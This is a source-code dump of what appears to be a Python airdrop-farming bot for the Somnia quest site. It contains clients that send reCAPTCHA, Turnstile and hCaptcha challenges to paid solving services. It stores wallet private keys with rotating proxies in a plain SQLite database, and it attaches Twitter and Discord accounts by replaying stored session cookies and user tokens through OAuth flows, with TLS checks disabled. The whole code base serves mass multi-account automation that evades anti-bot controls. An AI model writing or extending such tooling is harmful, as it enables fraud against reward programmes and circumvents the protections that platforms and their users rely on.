98 | response = await self.session.post(
99 | f"{self.base_url}/getTaskResult",
100 | json=data,
101 | timeout=30,
102 | )
103 | result = response.json()
104 |
105 | if result.get("status") == "ready":
106 | # Handle both reCAPTCHA and Turnstile responses
107 | solution = result.get("solution", {})
108 | return solution.get("token") or solution.get("gRecaptchaResponse")
109 | elif "errorId" in result and result["errorId"] != 0:
110 | logger.error(f"Error getting result: {result}")
111 | return None
112 |
113 | await asyncio.sleep(3)
114 |
115 | except Exception as e:
116 | logger.error(f"Error getting result: {e}")
117 | return None
118 |
119 | return None
120 |
121 | async def solve_recaptcha(
122 | self,
123 | sitekey: str,
124 | pageurl: str,
125 | invisible: bool = False,
126 | ) -> Optional[str]:
127 | """Решает RecaptchaV2 и возвращает токен"""
128 | task_id = await self.create_task(sitekey, pageurl, invisible)
129 | if not task_id:
130 | return None
131 |
132 | return await self.get_task_result(task_id)
133 |
134 | async def create_turnstile_task(
135 | self,
136 | sitekey: str,
137 | pageurl: str,
138 | action: Optional[str] = None,
139 | cdata: Optional[str] = None,
140 | ) -> Optional[str]:
141 | """Creates a Turnstile captcha solving task"""
142 | data = {
143 | "clientKey": self.api_key,
144 | "task": {
145 | "type": "AntiTurnstileTaskProxyLess",
146 | "websiteURL": pageurl,
147 | "websiteKey": sitekey,
148 | },
149 | }
150 |
151 | # if action or cdata:
152 | # metadata = {}
153 | # if action:
154 | # metadata["action"] = action
155 | # if cdata:
156 | # metadata["cdata"] = cdata
157 | # data["task"]["metadata"] = metadata
158 |
159 | try:
160 | response = await self.session.post(
161 | f"{self.base_url}/createTask",
162 | json=data,
163 | timeout=30,
164 | )
165 | result = response.json()
166 |
167 | if "taskId" in result:
168 | return result["taskId"]
169 |
170 | logger.error(f"Error creating Turnstile task: {result}")
171 | return None
172 |
173 | except Exception as e:
174 | logger.error(f"Error creating Turnstile task: {e}")
175 | return None
176 |
177 | async def solve_turnstile(
178 | self,
179 | sitekey: str,
180 | pageurl: str,
181 | action: Optional[str] = None,
182 | cdata: Optional[str] = None,
183 | ) -> Optional[str]:
184 | """Solves Cloudflare Turnstile captcha and returns token"""
185 | task_id = await self.create_turnstile_task(
186 | sitekey=sitekey,
187 | pageurl=pageurl,
188 | action=action,
189 | cdata=cdata,
190 | )
191 | if not task_id:
192 | return None
193 |
194 | return await self.get_task_result(task_id)
195 |
196 |
197 | class TwoCaptcha:
198 | def __init__(
199 | self,
200 | api_key: str,
201 | proxy: Optional[str] = None,
202 | session: AsyncClient = None,
203 | ):
204 | self.api_key = api_key
205 | self.base_url = "http://2captcha.com"
206 | self.proxy = self._format_proxy(proxy) if proxy else None
207 | self.session = session or AsyncClient(verify=False)
208 |
209 | def _format_proxy(self, proxy: str) -> str:
210 | if not proxy:
211 | return None
212 | if "@" in proxy:
213 | return proxy
214 | return proxy
215 |
216 | async def create_turnstile_task(
217 | self,
218 | sitekey: str,
219 | pageurl: str,
220 | action: Optional[str] = None,
221 | data: Optional[str] = None,
222 | pagedata: Optional[str] = None,
223 | ) -> Optional[str]:
224 | """Creates a Turnstile captcha solving task"""
225 | form_data = {
226 | "key": self.api_key,
227 | "method": "turnstile",
228 | "sitekey": sitekey,
229 | "pageurl": pageurl,
230 | "json": "1",
231 | }
232 |
233 | if action:
234 | form_data["action"] = action
235 | if data:
236 | form_data["data"] = data
237 | if pagedata:
238 | form_data["pagedata"] = pagedata
239 | if self.proxy:
240 | form_data["proxy"] = self.proxy
241 |
242 | try:
243 | response = await self.session.post(
244 | f"{self.base_url}/in.php",
245 | data=form_data,
246 | timeout=30,
247 | )
248 | result = response.json()
249 |
250 | if result.get("status") == 1:
251 | return result["request"]
252 |
253 | logger.error(f"Error creating Turnstile task: {result}")
254 | return None
255 |
256 | except Exception as e:
257 | logger.error(f"Error creating Turnstile task: {e}")
258 | return None
259 |
260 | async def get_task_result(self, task_id: str) -> Optional[str]:
261 | """Gets the result of the captcha solution"""
262 | params = {
263 | "key": self.api_key,
264 | "action": "get",
265 | "id": task_id,
266 | "json": "1",
267 | }
268 |
269 | max_attempts = 30
270 | for _ in range(max_attempts):
271 | try:
272 | response = await self.session.get(
273 | f"{self.base_url}/res.php",
274 | params=params,
275 | timeout=30,
276 | )
277 | result = response.json()
278 |
279 | if result.get("status") == 1:
280 | return result["request"]
281 | elif result.get("request") == "CAPCHA_NOT_READY":
282 | await asyncio.sleep(5)
283 | continue
284 |
285 | logger.error(f"Error getting result: {result}")
286 | return None
287 |
288 | except Exception as e:
289 | logger.error(f"Error getting result: {e}")
290 | return None
291 |
292 | return None
293 |
294 | async def solve_turnstile(
295 | self,
296 | sitekey: str,
297 | pageurl: str,
298 | action: Optional[str] = None,
299 | data: Optional[str] = None,
300 | pagedata: Optional[str] = None,
301 | ) -> Optional[str]:
302 | """Solves Cloudflare Turnstile captcha and returns token"""
303 | task_id = await self.create_turnstile_task(
304 | sitekey=sitekey,
305 | pageurl=pageurl,
306 | action=action,
307 | data=data,
308 | pagedata=pagedata,
309 | )
310 | if not task_id:
311 | return None
312 |
313 | return await self.get_task_result(task_id)
314 |
315 |
316 | class NoCaptcha:
317 | def __init__(
318 | self,
319 | user_token: str,
320 | proxy: Optional[str] = None,
321 | session: AsyncClient = None,
322 | ):
323 | self.user_token = user_token
324 | self.base_url = "http://api.nocaptcha.io"
325 | self.proxy = self._format_proxy(proxy) if proxy else None
326 | self.session = session or AsyncClient(verify=False)
327 |
328 | def _format_proxy(self, proxy: str) -> str:
329 | if not proxy:
330 | return None
331 | if "@" in proxy:
332 | return proxy
333 | return proxy
334 |
335 | async def solve_hcaptcha(
336 | self,
337 | sitekey: str,
338 | referer: str,
339 | rqdata: Optional[str] = None,
340 | domain: Optional[str] = None,
341 | region: Optional[str] = None,
342 | invisible: bool = False,
343 | need_ekey: bool = False,
344 | ) -> Optional[Dict]:
345 | """Solves hCaptcha and returns the solution data"""
346 | data = {
347 | "sitekey": sitekey,
348 | "referer": referer,
349 | "invisible": invisible,
350 | "need_ekey": need_ekey,
351 | }
352 |
353 | if rqdata:
354 | data["rqdata"] = rqdata
355 | if domain:
356 | data["domain"] = domain
357 | if self.proxy:
358 | data["proxy"] = self.proxy
359 | if region:
360 | data["region"] = region
361 |
362 | headers = {
363 | "User-Token": self.user_token,
364 | "Content-Type": "application/json",
365 | "Developer-Id": "SWVtru",
366 | }
367 |
368 | try:
369 | response = await self.session.post(
370 | f"{self.base_url}/api/wanda/hcaptcha/universal",
371 | json=data,
372 | headers=headers,
373 | timeout=30,
374 | )
375 | result = response.json()
376 |
377 | if result.get("status") == 1:
378 | return result.get("data")
379 |
380 | logger.error(f"Error solving hCaptcha: {result}")
381 | return None
382 |
383 | except Exception as e:
384 | logger.error(f"Error solving hCaptcha: {e}")
385 | return None
386 |
--------------------------------------------------------------------------------
/src/model/database/db_manager.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import json
3 | import random
4 | from typing import List
5 | from tabulate import tabulate
6 | from loguru import logger
7 |
8 | from src.model.database.instance import Database
9 | from src.utils.config import get_config
10 | from src.utils.reader import read_private_keys
11 | from src.utils.proxy_parser import Proxy # Добавляем импорт
12 |
13 |
14 | async def show_database_menu():
15 | while True:
16 | print("\nDatabase Management Options:\n")
17 | print("[1] 🗑 Create/Reset Database")
18 | print("[2] ➕ Generate New Tasks for Completed Wallets")
19 | print("[3] 📊 Show Database Contents")
20 | print("[4] 🔄 Regenerate Tasks for All Wallets")
21 | print("[5] 📝 Add Wallets to Database")
22 | print("[6] 👋 Exit")
23 | print()
24 |
25 | try:
26 | choice = input("Enter option (1-6): ").strip()
27 |
28 | if choice == "1":
29 | await reset_database()
30 | elif choice == "2":
31 | await regenerate_tasks_for_completed()
32 | elif choice == "3":
33 | await show_database_contents()
34 | elif choice == "4":
35 | await regenerate_tasks_for_all()
36 | elif choice == "5":
37 | await add_new_wallets()
38 | elif choice == "6":
39 | print("\nExiting database management...")
40 | break
41 | else:
42 | logger.error("Invalid choice. Please enter a number between 1 and 6.")
43 |
44 | except Exception as e:
45 | logger.error(f"Error in database management: {e}")
46 | await asyncio.sleep(1)
47 |
48 |
49 | async def reset_database():
50 | """Создание новой или сброс существующей базы данных"""
51 | print("\n⚠️ WARNING: This will delete all existing data.")
52 | print("[1] Yes")
53 | print("[2] No")
54 |
55 | confirmation = input("\nEnter your choice (1-2): ").strip()
56 |
57 | if confirmation != "1":
58 | logger.info("Database reset cancelled")
59 | return
60 |
61 | try:
62 | db = Database()
63 | await db.clear_database()
64 | await db.init_db()
65 |
66 | # Генерируем задачи для новой базы данных
67 | config = get_config()
68 | private_keys = read_private_keys("data/private_keys.txt")
69 |
70 | # Читаем прокси
71 | try:
72 | proxy_objects = Proxy.from_file("data/proxies.txt")
73 | proxies = [proxy.get_default_format() for proxy in proxy_objects]
74 | if len(proxies) == 0:
75 | logger.error("No proxies found in data/proxies.txt")
76 | return
77 | except Exception as e:
78 | logger.error(f"Failed to load proxies: {e}")
79 | return
80 |
81 | # Добавляем кошельки с прокси и задачами
82 | for i, private_key in enumerate(private_keys):
83 | proxy = proxies[i % len(proxies)]
84 |
85 | # Генерируем новый список задач для каждого кошелька
86 | tasks = generate_tasks_from_config(config)
87 |
88 | if not tasks:
89 | logger.error(
90 | f"No tasks generated for wallet {private_key[:4]}...{private_key[-4:]}"
91 | )
92 | continue
93 |
94 | await db.add_wallet(
95 | private_key=private_key,
96 | proxy=proxy,
97 | tasks_list=tasks, # Передаем сгенерированный список задач
98 | )
99 |
100 | logger.success(
101 | f"Database has been reset and initialized with {len(private_keys)} wallets!"
102 | )
103 |
104 | except Exception as e:
105 | logger.error(f"Error resetting database: {e}")
106 |
107 |
108 | def generate_tasks_from_config(config) -> List[str]:
109 | """Генерация списка задач из конфига в том же формате, что и в start.py"""
110 | planned_tasks = []
111 |
112 | # Получаем список задач из конфига
113 | for task_name in config.FLOW.TASKS:
114 | # Импортируем tasks.py для получения конкретного списка задач
115 | import tasks
116 |
117 | # Получаем список подзадач для текущей задачи
118 | task_list = getattr(tasks, task_name)
119 |
120 | # Обрабатываем каждую подзадачу
121 | for task_item in task_list:
122 | if isinstance(task_item, list):
123 | # Для задач в [], выбираем случайную
124 | selected_task = random.choice(task_item)
125 | planned_tasks.append(selected_task)
126 | elif isinstance(task_item, tuple):
127 | # Для задач в (), перемешиваем все
128 | shuffled_tasks = list(task_item)
129 | random.shuffle(shuffled_tasks)
130 | # Добавляем все задачи из кортежа
131 | planned_tasks.extend(shuffled_tasks)
132 | else:
133 | # Обычная задача
134 | planned_tasks.append(task_item)
135 |
136 | logger.info(f"Generated tasks sequence: {planned_tasks}")
137 | return planned_tasks
138 |
139 |
140 | async def regenerate_tasks_for_completed():
141 | """Генерация новых задач для завершенных кошельков"""
142 | try:
143 | db = Database()
144 | config = get_config()
145 |
146 | # Получаем список завершенных кошельков
147 | completed_wallets = await db.get_completed_wallets()
148 |
149 | if not completed_wallets:
150 | logger.info("No completed wallets found")
151 | return
152 |
153 | print("\n[1] Yes")
154 | print("[2] No")
155 | confirmation = input(
156 | "\nThis will replace all tasks for completed wallets. Continue? (1-2): "
157 | ).strip()
158 |
159 | if confirmation != "1":
160 | logger.info("Task regeneration cancelled")
161 | return
162 |
163 | # Для каждого завершенного кошелька генерируем новые задачи
164 | for wallet in completed_wallets:
165 | # Генерируем новый список задач
166 | new_tasks = generate_tasks_from_config(config)
167 |
168 | # Очищаем старые задачи и добавляем новые
169 | await db.clear_wallet_tasks(wallet["private_key"])
170 | await db.add_tasks_to_wallet(wallet["private_key"], new_tasks)
171 |
172 | logger.success(
173 | f"Generated new tasks for {len(completed_wallets)} completed wallets"
174 | )
175 |
176 | except Exception as e:
177 | logger.error(f"Error regenerating tasks: {e}")
178 |
179 |
180 | async def regenerate_tasks_for_all():
181 | """Генерация новых задач для всех кошельков"""
182 | try:
183 | db = Database()
184 | config = get_config()
185 |
186 | # Получаем все кошельки
187 | completed_wallets = await db.get_completed_wallets()
188 | uncompleted_wallets = await db.get_uncompleted_wallets()
189 | all_wallets = completed_wallets + uncompleted_wallets
190 |
191 | if not all_wallets:
192 | logger.info("No wallets found in database")
193 | return
194 |
195 | print("\n[1] Yes")
196 | print("[2] No")
197 | confirmation = input(
198 | "\nThis will replace all tasks for ALL wallets. Continue? (1-2): "
199 | ).strip()
200 |
201 | if confirmation != "1":
202 | logger.info("Task regeneration cancelled")
203 | return
204 |
205 | # Для каждого кошелька генерируем новые задачи
206 | for wallet in all_wallets:
207 | # Генерируем новый список задач
208 | new_tasks = generate_tasks_from_config(config)
209 |
210 | # Очищаем старые задачи и добавляем новые
211 | await db.clear_wallet_tasks(wallet["private_key"])
212 | await db.add_tasks_to_wallet(wallet["private_key"], new_tasks)
213 |
214 | logger.success(f"Generated new tasks for all {len(all_wallets)} wallets")
215 |
216 | except Exception as e:
217 | logger.error(f"Error regenerating tasks for all wallets: {e}")
218 |
219 |
220 | async def show_database_contents():
221 | """Отображение содержимого базы данных в табличном формате"""
222 | try:
223 | db = Database()
224 |
225 | # Получаем все кошельки
226 | completed_wallets = await db.get_completed_wallets()
227 | uncompleted_wallets = await db.get_uncompleted_wallets()
228 | all_wallets = completed_wallets + uncompleted_wallets
229 |
230 | if not all_wallets:
231 | logger.info("Database is empty")
232 | return
233 |
234 | # Подготавливаем данные для таблицы
235 | table_data = []
236 | for wallet in all_wallets:
237 | tasks = (
238 | json.loads(wallet["tasks"])
239 | if isinstance(wallet["tasks"], str)
240 | else wallet["tasks"]
241 | )
242 |
243 | # Форматируем список задач
244 | completed_tasks = [
245 | task["name"] for task in tasks if task["status"] == "completed"
246 | ]
247 | pending_tasks = [
248 | task["name"] for task in tasks if task["status"] == "pending"
249 | ]
250 |
251 | # Сокращаем private key для отображения
252 | short_key = f"{wallet['private_key'][:6]}...{wallet['private_key'][-4:]}"
253 |
254 | # Форматируем прокси для отображения
255 | proxy = wallet["proxy"]
256 | if proxy and len(proxy) > 20:
257 | proxy = f"{proxy[:17]}..."
258 |
259 | table_data.append(
260 | [
261 | short_key,
262 | proxy or "No proxy",
263 | wallet["status"],
264 | f"{len(completed_tasks)}/{len(tasks)}",
265 | ", ".join(completed_tasks) or "None",
266 | ", ".join(pending_tasks) or "None",
267 | ]
268 | )
269 |
270 | # Создаем таблицу
271 | headers = [
272 | "Wallet",
273 | "Proxy",
274 | "Status",
275 | "Progress",
276 | "Completed Tasks",
277 | "Pending Tasks",
278 | ]
279 | table = tabulate(table_data, headers=headers, tablefmt="grid", stralign="left")
280 |
281 | # Выводим статистику
282 | total_wallets = len(all_wallets)
283 | completed_count = len(completed_wallets)
284 | print(f"\nDatabase Statistics:")
285 | print(f"Total Wallets: {total_wallets}")
286 | print(f"Completed Wallets: {completed_count}")
287 | print(f"Pending Wallets: {total_wallets - completed_count}")
288 |
289 | # Выводим таблицу
290 | print("\nDatabase Contents:")
291 | print(table)
292 |
293 | except Exception as e:
294 | logger.error(f"Error showing database contents: {e}")
295 |
296 |
297 | async def add_new_wallets():
298 | """Добавление новых кошельков из файла в базу данных"""
299 | try:
300 | db = Database()
301 | config = get_config()
302 |
303 | # Читаем все приватные ключи из файла
304 | private_keys = read_private_keys("data/private_keys.txt")
305 |
306 | # Читаем прокси
307 | try:
308 | proxy_objects = Proxy.from_file("data/proxies.txt")
309 | proxies = [proxy.get_default_format() for proxy in proxy_objects]
310 | if len(proxies) == 0:
311 | logger.error("No proxies found in data/proxies.txt")
312 | return
313 | except Exception as e:
314 | logger.error(f"Failed to load proxies: {e}")
315 | return
316 |
317 | # Получаем существующие кошельки из базы
318 | completed_wallets = await db.get_completed_wallets()
319 | uncompleted_wallets = await db.get_uncompleted_wallets()
320 | existing_wallets = {
321 | w["private_key"] for w in (completed_wallets + uncompleted_wallets)
322 | }
323 |
324 | # Находим новые кошельки
325 | new_wallets = [pk for pk in private_keys if pk not in existing_wallets]
326 |
327 | if not new_wallets:
328 | logger.info("No new wallets found to add")
329 | return
330 |
331 | print(f"\nFound {len(new_wallets)} new wallets to add to database")
332 | print("\n[1] Yes")
333 | print("[2] No")
334 | confirmation = input("\nDo you want to add these wallets? (1-2): ").strip()
335 |
336 | if confirmation != "1":
337 | logger.info("Adding new wallets cancelled")
338 | return
339 |
340 | # Добавляем новые кошельки
341 | added_count = 0
342 | for private_key in new_wallets:
343 | proxy = proxies[added_count % len(proxies)]
344 | tasks = generate_tasks_from_config(config)
345 |
346 | if not tasks:
347 | logger.error(
348 | f"No tasks generated for wallet {private_key[:4]}...{private_key[-4:]}"
349 | )
350 | continue
351 |
352 | await db.add_wallet(
353 | private_key=private_key,
354 | proxy=proxy,
355 | tasks_list=tasks,
356 | )
357 | added_count += 1
358 |
359 | logger.success(f"Successfully added {added_count} new wallets to database!")
360 |
361 | except Exception as e:
362 | logger.error(f"Error adding new wallets: {e}")
363 |
--------------------------------------------------------------------------------
/src/model/somnia_network/connect_socials.py:
--------------------------------------------------------------------------------
1 | import random
2 | import asyncio
3 | import secrets
4 | from loguru import logger
5 |
6 | from src.model.somnia_network.constants import SomniaProtocol
7 | from src.utils.decorators import retry_async
8 |
9 |
10 | class ConnectSocials:
11 | def __init__(self, somnia_instance: SomniaProtocol):
12 | self.somnia = somnia_instance
13 |
14 | async def connect_socials(self):
15 | try:
16 | success = True
17 | logger.info(f"{self.somnia.account_index} | Starting connect socials...")
18 |
19 | account_info = await self.somnia.get_account_info()
20 |
21 | if account_info is None:
22 | raise Exception("Account info is None")
23 |
24 | if account_info["twitterName"] is None:
25 | if not self.somnia.twitter_token:
26 | logger.error(
27 | f"{self.somnia.account_index} | Twitter token is None. Please add token to data/twitter_tokens.txt"
28 | )
29 | else:
30 | if not await self.connect_twitter():
31 | success = False
32 | else:
33 | logger.success(
34 | f"{self.somnia.account_index} | Twitter already connected"
35 | )
36 |
37 | if account_info["discordName"] is None:
38 | if not self.somnia.discord_token:
39 | logger.error(
40 | f"{self.somnia.account_index} | Discord token is None. Please add token to data/discord_tokens.txt"
41 | )
42 | else:
43 | if not await self.connect_discord():
44 | success = False
45 | else:
46 | logger.success(
47 | f"{self.somnia.account_index} | Discord already connected"
48 | )
49 |
50 | if success:
51 | logger.success(
52 | f"{self.somnia.account_index} | Successfully connected socials"
53 | )
54 | else:
55 | logger.error(f"{self.somnia.account_index} | Failed to connect socials")
56 |
57 | return success
58 |
59 | except Exception as e:
60 | random_pause = random.randint(
61 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
62 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
63 | )
64 | logger.error(
65 | f"{self.somnia.account_index} | Connect socials error: {e}. Sleeping {random_pause} seconds..."
66 | )
67 | await asyncio.sleep(random_pause)
68 | return False
69 |
70 | @retry_async(default_value=False)
71 | async def connect_twitter(self):
72 | try:
73 | logger.info(f"{self.somnia.account_index} | Starting connect twitter...")
74 |
75 | generated_csrf_token = secrets.token_hex(16)
76 |
77 | cookies = {"ct0": generated_csrf_token, "auth_token": self.somnia.twitter_token}
78 | cookies_headers = "; ".join(f"{k}={v}" for k, v in cookies.items())
79 |
80 | headers = {
81 | "cookie": cookies_headers,
82 | "x-csrf-token": generated_csrf_token,
83 | 'upgrade-insecure-requests': '1',
84 | "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs=1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA",
85 | 'referer': 'https://quest.somnia.network/',
86 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
87 | }
88 |
89 | client_id = "WS1FeDNoZnlqTEw1WFpvX1laWkc6MTpjaQ"
90 | code_challenge = "challenge123"
91 | state = "eyJ0eXBlIjoiQ09OTkVDVF9UV0lUVEVSIn0="
92 | params = {
93 | 'client_id': client_id,
94 | 'code_challenge': code_challenge,
95 | 'code_challenge_method': 'plain',
96 | 'redirect_uri': 'https://quest.somnia.network/twitter',
97 | 'response_type': 'code',
98 | 'scope': 'users.read follows.write tweet.write like.write tweet.read',
99 | 'state': state,
100 | }
101 |
102 | response = await self.somnia.session.get('https://x.com/i/api/2/oauth2/authorize', params=params, headers=headers)
103 |
104 | if not response.json().get("auth_code"):
105 | raise Exception(f"Failed to connect twitter: no auth_code in response: {response.status_code} | {response.text}")
106 |
107 | auth_code = response.json().get("auth_code")
108 |
109 | data = {
110 | 'approval': 'true',
111 | 'code': auth_code,
112 | }
113 |
114 | response = await self.somnia.session.post('https://x.com/i/api/2/oauth2/authorize', headers=headers, data=data)
115 |
116 | redirect_url = response.json()['redirect_uri']
117 |
118 | headers = {
119 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
120 | 'referer': 'https://twitter.com/',
121 | 'priority': 'u=0, i',
122 | }
123 |
124 | response = await self.somnia.session.get(redirect_url, headers=headers)
125 |
126 | if response.status_code != 200:
127 | raise Exception(f"Failed to connect twitter send auth_code: status code is {response.status_code} | {response.text}")
128 |
129 | headers = {
130 | 'authorization': f'Bearer {self.somnia.somnia_login_token}',
131 | 'content-type': 'application/json',
132 | 'origin': 'https://quest.somnia.network',
133 | 'referer': f'https://quest.somnia.network/twitter?state={state}&code={auth_code}',
134 | }
135 |
136 | json_data = {
137 | 'code': auth_code,
138 | 'codeChallenge': code_challenge,
139 | 'provider': 'twitter',
140 | }
141 |
142 | response = await self.somnia.session.post('https://quest.somnia.network/api/auth/socials', headers=headers, json=json_data)
143 |
144 | if not response.json().get("success"):
145 | raise Exception(f"Failed to confirm twitter connection: {response.status_code} | {response.text}")
146 |
147 | if response.json()["success"]:
148 | logger.success(f"{self.somnia.account_index} | Successfully connected twitter")
149 | return True
150 | else:
151 | raise Exception(f"Failed to confirm twitter connection: {response.status_code} | {response.text}")
152 |
153 | except Exception as e:
154 | if "Could not authenticate you" in str(e):
155 | logger.error(f"{self.somnia.account_index} | Twitter token is invalid")
156 | return False
157 |
158 | random_pause = random.randint(
159 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
160 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
161 | )
162 | logger.error(
163 | f"{self.somnia.account_index} | Connect twitter error: {e}. Sleeping {random_pause} seconds..."
164 | )
165 | await asyncio.sleep(random_pause)
166 | raise
167 |
168 | @retry_async(default_value=False)
169 | async def connect_discord(self):
170 | try:
171 | logger.info(f"{self.somnia.account_index} | Starting connect discord...")
172 |
173 | headers = {
174 | "Referer": "https://quest.somnia.network/",
175 | "Upgrade-Insecure-Requests": "1",
176 | }
177 |
178 | response = await self.somnia.session.get(
179 | "https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=",
180 | headers=headers,
181 | )
182 |
183 | headers = {
184 | 'authorization': self.somnia.discord_token,
185 | 'referer': 'https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=',
186 | 'x-debug-options': 'bugReporterEnabled',
187 | 'x-discord-locale': 'en-US',
188 | }
189 |
190 | params = {
191 | 'client_id': '1318915934878040064',
192 | 'response_type': 'code',
193 | 'redirect_uri': 'https://quest.somnia.network/discord',
194 | 'scope': 'identify',
195 | 'state': 'eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=',
196 | 'integration_type': '0',
197 | }
198 |
199 | response = await self.somnia.session.get('https://discord.com/api/v9/oauth2/authorize', params=params, headers=headers)
200 |
201 | headers = {
202 | 'authorization': self.somnia.discord_token,
203 | 'content-type': 'application/json',
204 | 'origin': 'https://discord.com',
205 | 'referer': 'https://discord.com/oauth2/authorize?response_type=code&client_id=1318915934878040064&redirect_uri=https%3A%2F%2Fquest.somnia.network%2Fdiscord&scope=identify&state=eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=',
206 | 'x-debug-options': 'bugReporterEnabled',
207 | 'x-discord-locale': 'en-US',
208 | }
209 |
210 | params = {
211 | 'client_id': '1318915934878040064',
212 | 'response_type': 'code',
213 | 'redirect_uri': 'https://quest.somnia.network/discord',
214 | 'scope': 'identify',
215 | 'state': 'eyJ0eXBlIjoiQ09OTkVDVF9ESVNDT1JEIn0=',
216 | }
217 |
218 | json_data = {
219 | 'permissions': '0',
220 | 'authorize': True,
221 | 'integration_type': 0,
222 | 'location_context': {
223 | 'guild_id': '10000',
224 | 'channel_id': '10000',
225 | 'channel_type': 10000,
226 | },
227 | 'dm_settings': {
228 | 'allow_mobile_push': False,
229 | },
230 | }
231 |
232 | response = await self.somnia.session.post(
233 | 'https://discord.com/api/v9/oauth2/authorize',
234 | params=params,
235 | headers=headers,
236 | json=json_data,
237 | )
238 |
239 | if not response.json()['location']:
240 | raise Exception("Failed to connect discord: no location in response")
241 |
242 | headers = {
243 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
244 | 'referer': 'https://discord.com/',
245 | 'upgrade-insecure-requests': '1',
246 | }
247 |
248 |
249 | code = response.json()['location'].split('code=')[1].split('&')[0]
250 |
251 | response = await self.somnia.session.get(response.json()['location'], headers=headers)
252 |
253 | if response.status_code != 200:
254 | raise Exception(f"Failed to connect discord: status code is {response.status_code} | {response.text}")
255 |
256 |
257 | headers = {
258 | 'accept': '*/*',
259 | 'accept-language': 'ru,en-US;q=0.9,en;q=0.8,ru-RU;q=0.7,zh-TW;q=0.6,zh;q=0.5,uk;q=0.4',
260 | 'authorization': f'Bearer {self.somnia.somnia_login_token}',
261 | 'content-type': 'application/json',
262 | 'origin': 'https://quest.somnia.network',
263 | 'priority': 'u=1, i',
264 | 'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
265 | 'sec-ch-ua-mobile': '?0',
266 | 'sec-ch-ua-platform': '"Windows"',
267 | 'sec-fetch-dest': 'empty',
268 | 'sec-fetch-mode': 'cors',
269 | 'sec-fetch-site': 'same-origin',
270 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
271 | }
272 |
273 | json_data = {
274 | 'code': code,
275 | 'provider': 'discord',
276 | }
277 |
278 | response = await self.somnia.session.post('https://quest.somnia.network/api/auth/socials', headers=headers, json=json_data)
279 |
280 | if not response.json().get("success"):
281 | raise Exception(f"Failed to confirm discord connection: {response.status_code} | {response.text}")
282 |
283 | if response.json()["success"]:
284 | logger.success(f"{self.somnia.account_index} | Successfully connected discord")
285 | return True
286 | else:
287 | raise Exception(f"Failed to confirm discord connection: {response.status_code} | {response.text}")
288 |
289 | except Exception as e:
290 | random_pause = random.randint(
291 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
292 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
293 | )
294 | logger.error(
295 | f"{self.somnia.account_index} | Connect discord error: {e}. Sleeping {random_pause} seconds..."
296 | )
297 | await asyncio.sleep(random_pause)
298 | raise
299 |
--------------------------------------------------------------------------------
/src/model/database/instance.py:
--------------------------------------------------------------------------------
1 | import json
2 | from typing import Optional, List, Dict
3 | from sqlalchemy import create_engine, Column, Integer, String
4 | from sqlalchemy.ext.declarative import declarative_base
5 | from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
6 | from sqlalchemy.orm import sessionmaker
7 | from loguru import logger
8 |
9 | Base = declarative_base()
10 |
11 |
12 | class Wallet(Base):
13 | __tablename__ = "wallets"
14 | id = Column(Integer, primary_key=True)
15 | private_key = Column(String, unique=True)
16 | proxy = Column(String, nullable=True)
17 | status = Column(String) # общий статус кошелька (pending/completed)
18 | tasks = Column(String) # JSON строка с задачами
19 |
20 |
21 | class Database:
22 | def __init__(self):
23 | self.engine = create_async_engine(
24 | "sqlite+aiosqlite:///data/accounts.db", # Изменен путь и название БД
25 | echo=False,
26 | )
27 | self.session = sessionmaker(
28 | bind=self.engine, class_=AsyncSession, expire_on_commit=False
29 | )
30 |
31 | async def init_db(self):
32 | """Инициализация базы данных"""
33 | async with self.engine.begin() as conn:
34 | await conn.run_sync(Base.metadata.create_all)
35 | logger.success("Database initialized successfully")
36 |
37 | async def clear_database(self):
38 | """Полная очистка базы данных"""
39 | async with self.engine.begin() as conn:
40 | await conn.run_sync(Base.metadata.drop_all)
41 | await conn.run_sync(Base.metadata.create_all)
42 | logger.success("Database cleared successfully")
43 |
44 | async def add_wallet(
45 | self,
46 | private_key: str,
47 | proxy: Optional[str] = None,
48 | tasks_list: Optional[List[str]] = None,
49 | ) -> None:
50 | """
51 | Добавление нового кошелька
52 |
53 | :param private_key: Приватный ключ кошелька
54 | :param proxy: Прокси (опционально)
55 | :param tasks_list: Список названий задач
56 | """
57 | # Преобразуем список задач в нужный формат для БД
58 | tasks = []
59 | for task in tasks_list or []:
60 | tasks.append(
61 | {
62 | "name": task,
63 | "status": "pending",
64 | "index": len(tasks) + 1, # Добавляем индекс для сохранения порядка
65 | }
66 | )
67 |
68 | async with self.session() as session:
69 | wallet = Wallet(
70 | private_key=private_key,
71 | proxy=proxy,
72 | status="pending",
73 | tasks=json.dumps(tasks),
74 | )
75 | session.add(wallet)
76 | await session.commit()
